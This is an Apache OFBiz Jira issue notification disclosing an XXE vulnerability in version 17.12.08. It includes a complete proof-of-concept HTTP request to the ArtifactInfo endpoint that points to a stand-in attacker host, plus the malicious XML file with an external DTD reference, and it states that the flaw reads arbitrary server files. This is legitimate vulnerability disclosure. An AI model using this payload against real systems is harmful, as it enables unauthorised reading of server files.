[jira] [Created] (OFBIZ-12306) Found a new XXE (XML External Entity Injection) vulnerability.

["thiscodecc (Jira)" <ji...@apache.org>]

thiscodecc created OFBIZ-12306:
----------------------------------

             Summary: Found a new XXE (XML External Entity Injection) vulnerability.
                 Key: OFBIZ-12306
                 URL: https://issues.apache.org/jira/browse/OFBIZ-12306
             Project: OFBiz
          Issue Type: Bug
    Affects Versions: 17.12.08
            Reporter: thiscodecc


The http packet is as follows:

POST /webtools/control/ArtifactInfo HTTP/1.1
Host: 127.0.0.1:8443
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://127.0.0.1:8443/webtools/control/ArtifactInfo
Content-Type: application/x-www-form-urlencoded
Content-Length: 76
Origin: https://127.0.0.1:8443
Connection: close
Cookie: JSESSIONID=E5591794A3BE924E307356FCA2B0A1A6.jvm1; OFBiz.Visitor=10103; CookiePreferences=[]; login_username=admin; login_nickname=admin; UM_distinctid=178a633ad075a3-0853063891be59-445b6f-13c680-178a633ad087e9; displayTagDiv=false; Hm_lvt_e325e60ca4cd358f2b424f5aecb8021a=1621261771; careyshop-1.8.4-uuid=admin; careyshop-1.8.4-block=false
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

name=x&location=[http://attacker:8111/2.xml&type=request&submitButton=Lookup]

 

The content of the 2.xml file of the attacker's http service is as follows:

 

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE Quan SYSTEM "http://127.0.0.1:12311/vlab.dtd"><xml-body></xml-body>

The XXE vulnerability can read arbitrary files on the server.

 

 

 

 



--
This message was sent by Atlassian Jira
(v8.3.4#803005)